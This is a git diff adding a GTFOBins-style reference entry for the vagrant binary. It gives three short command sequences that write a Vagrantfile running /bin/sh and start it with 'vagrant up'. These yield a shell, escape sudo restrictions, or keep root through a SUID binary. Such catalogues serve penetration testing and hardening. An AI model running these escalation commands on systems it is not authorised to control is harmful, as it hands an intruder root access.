diff --git a/_gtfobins/vagrant.md b/_gtfobins/vagrant.md new file mode 100644 index 0000000..c297c81 --- /dev/null +++ b/_gtfobins/vagrant.md @@ -0,0 +1,20 @@ +--- +description: This allows to execute [`ruby`](/gtfobins/ruby/) code, other functions may apply. +functions: + shell: + - code: | + cd $(mktemp -d) + echo 'exec "/bin/sh"' > Vagrantfile + vagrant up + sudo: + - code: | + cd $(mktemp -d) + echo 'exec "/bin/sh"' > Vagrantfile + vagrant up + suid: + - code: | + cd $(mktemp -d) + echo 'exec "/bin/sh -p"' > Vagrantfile + vagrant up +--- +